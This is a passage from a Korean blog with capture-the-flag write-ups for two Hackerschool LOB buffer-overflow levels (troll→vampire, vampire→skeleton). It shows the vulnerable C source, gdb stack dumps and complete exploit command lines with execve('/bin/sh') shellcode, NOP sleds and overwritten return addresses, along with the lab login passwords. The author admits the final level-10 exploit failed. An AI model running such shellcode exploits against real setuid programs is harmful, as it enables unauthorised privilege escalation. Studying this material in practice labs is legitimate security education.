반응형
반응형
반응형


해커스쿨 LOB LEVEL10 [vampire -> skeleton] 풀이


M4ndU




해커스쿨 LOB [troll -> vampire] 풀이입니다.


ID | vampire

PW | music world

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: vampire

Password:

[vampire@localhost vampire]$ bash2

[vampire@localhost vampire]$ ls -l

total 20

-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton

-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i, saved_argc;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        // argc saver

        saved_argc = argc;


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


        // ultra argv hunter!

        for(i=0; i<saved_argc; i++)

                memset(argv[i], 0, strlen(argv[i]));

}


이번에는 모든 argv값을 0으로 초기화 하네요... ㅠㅠ

스택에 뭐라도 남아있을지 모르니 찾아봅시다.


[vampire@localhost vampire]$ mkdir tmp

[vampire@localhost vampire]$ cp skeleton tmp/

[vampire@localhost vampire]$ cd tmp/

[vampire@localhost tmp]$ ./skeleton `python -c 'print "A"*47+"\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?

Segmentation fault (core dumped)

[vampire@localhost tmp]$ gdb -c core -q

Core was generated by `                                                           '.

Program terminated with signal 11, Segmentation fault.

#0  0xbf414141 in ?? ()

(gdb) x/1000s 0xbfffff00

0xbffffff0:      ""
0xbffffff1:      "./skeleton"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""
0xc0000000:      <Address 0xc0000000 out of bounds>


어라 argv[0]의 값이 남아있네요.

이 것을 이용해서 문제를 풀면 될 것 같습니다.


[vampire@localhost tmp]$  rename skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` skeleton



이름을 바꿔주고요,

[vampire@localhost tmp]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\xbf\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??
Segmentation fault (core dumped)
[vampire@localhost tmp]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffd2 in ?? ()
(gdb) x/100x 0xbfffff00
0xbfffff00:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff10:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff20:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff40:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff50:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff60:     0x00000000      0x902f2e00      0x90909090      0x90909090
0xbfffff70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffa0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc0:     0x90909090      0x90909090      0xeb909090      0xc9315e11
0xbfffffd0:     0x6c8032b1      0x8001ff0e      0xf67501e9      0xeae805eb
0xbfffffe0:     0x32ffffff      0x306951c1      0x69697430      0x6f6a6330
0xbffffff0:     0x5451e48a      0xb19ae28a      0x0081ce0c      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000


리턴주소를 0xbfffff70로 하면 될 것 같습니다.

[vampire@localhost vampire]$  ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\x80\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD€?
Segmentation fault

...왜인지 모르겠는데 안되네요. 저번엔 쉘 떴는데..
혀튼 쉘을 따시면 다음 비밀번호가 나옵니다.ㅎ

다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏ







반응형
반응형


해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이


M4ndU




해커스쿨 LOB [troll -> vampire] 풀이입니다.


ID | troll

PW | aspirin


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: troll

Password:

[troll@localhost troll]$ bash2

[troll@localhost troll]$ ls -l

total 16

-rwsr-sr-x    1 vampire  vampire     12103 Mar  2  2010 vampire

-rw-r--r--    1 root     root          550 Mar 29  2010 vampire.c

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // here is changed!

        if(argv[1][46] == '\xff')

        {

                printf("but it's not forever\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 리턴 주소의 첫바이트는 0xbf 이어야 하고 두번째 바이트는 \xff가 아니어야 하네요.
그런데 스택은 크기가 변할 수 있습니다! 우리가 매우 큰 길이의 값을 넣어 준다면 그만큼 스택이 늘어나겠지요.

이를 이용해서 쉘코드 앞에 \x90을 10만개 넣겠습니다!

[troll@localhost troll]$ mkdir tmp
[troll@localhost troll]$ cp vampire tmp/
[troll@localhost troll]$ cd tmp/
[troll@localhost tmp]$ ./vampire `python -c 'print "D"*44+"\xff\xff\xbf\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD옜
Segmentation fault (core dumped)
[troll@localhost tmp]$ gdb -c core -q
Core was generated by `./vampire DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??릱릱릱릱릱릱릱릱릱릱'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfffff in ?? ()
(gdb) x/1000x $esp
0xbffe7420:     0x00000000      0xbffe7464      0xbffe7474      0x40013868
0xbffe7430:     0x00000003      0x08048380      0x00000000      0x080483a1
0xbffe7440:     0x08048430      0x00000003      0xbffe7464      0x080482e0
0xbffe7450:     0x080484fc      0x4000ae60      0xbffe745c      0x40013e90
0xbffe7460:     0x00000003      0xbffe7572      0xbffe757c      0xbffe75ad
0xbffe7470:     0x00000000      0xbffffc67      0xbffffc7b      0xbffffc93
0xbffe7480:     0xbffffcb2      0xbffffcd4      0xbffffcdf      0xbffffea2
0xbffe7490:     0xbffffec1      0xbffffedc      0xbffffef1      0xbfffff0e
0xbffe74a0:     0xbfffff19      0xbfffff27      0xbfffff2f      0xbfffff39
0xbffe74b0:     0xbfffff49      0xbfffff57      0xbfffff65      0xbfffff76
0xbffe74c0:     0xbfffff81      0xbfffff92      0xbfffffd3      0xbfffffdf
0xbffe74d0:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffe74e0:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffe74f0:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffe7500:     0x00000000      0x00000009      0x08048380      0x0000000b
0xbffe7510:     0x000001fc      0x0000000c      0x000001fc      0x0000000d
0xbffe7520:     0x000001fc      0x0000000e      0x000001fc      0x00000010
0xbffe7530:     0x0f8bfbff      0x0000000f      0xbffe756d      0x00000000
0xbffe7540:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7550:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7560:     0x00000000      0x00000000      0x00000000      0x38366900
0xbffe7570:     0x2f2e0036      0x706d6176      0x00657269      0x44444444
0xbffe7580:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffe7590:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffe75a0:     0x44444444      0x44444444      0xbfbfffff      0x90909000
0xbffe75b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7600:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7610:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7620:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7630:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7640:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7650:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7660:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7670:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7680:     0x90909090      0x90909090      0x90909090      0x90909090


와우 스택주소가 0xbffe부터 시작합니다!
\x90이 10만개가 들어가 있으니 아무 \x90이 들어 있는 곳을 리턴 주소로 잡으면 됩니다.
저는 \xbffe7660으로 잡겠습니다.


[troll@localhost troll]$ ./vampire `python -c 'print "D"*44+"\x60\x76\xfe\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD`v

bash$ my-pass

euid = 509

music world



성공! 다음레벨로 가 즈 아

반응형

+ Recent posts